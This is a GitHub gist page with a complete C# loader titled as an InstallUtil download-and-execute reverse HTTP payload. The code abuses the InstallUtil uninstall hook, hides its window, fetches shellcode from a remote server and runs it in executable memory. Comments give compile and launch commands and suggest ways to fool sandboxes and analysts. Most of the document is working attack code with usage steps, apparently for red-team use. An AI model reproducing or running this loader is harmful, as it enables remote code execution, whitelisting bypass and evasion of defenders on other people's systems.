Skip to content

Instantly share code, notes, and snippets.

@DanielRTeixeira
Forked from nicholasmckinney/rev_http.cs
Created November 2, 2017 15:28
Show Gist options
  • Save DanielRTeixeira/0fd06ec8f041f34a32bf5623c6dd479d to your computer and use it in GitHub Desktop.
Save DanielRTeixeira/0fd06ec8f041f34a32bf5623c6dd479d to your computer and use it in GitHub Desktop.
InstallUtil - Download And Execute Reverse_HTTP Payload
using System;
using System.Net;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:revshell.exe rev_http.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /server="http://192.168.56.103/Y0DNA" /U revshell.exe
//You can Add Logic to Use Correct URL generator. This is just me being lazy.
/server="http://[INSERT SERVER IP]/Y0DNA"
*/
public class Program
{
public static void Main()
{
Console.WriteLine("Hello From Main...I Don't Do Anything");
//Add any behaviour here to throw off sandbox execution/analysts :)
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec(Context.Parameters["server"]);
}
}
public class Shellcode
{
public static void Exec(string url)
{
IntPtr handle = GetConsoleWindow();
ShowWindow(handle, 0); //Hides Process Window
WebClient wc = new WebClient();
wc.Headers.Add("user-agent", "User-Agent DFIR ");
byte[] shellcode = wc.DownloadData(url);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment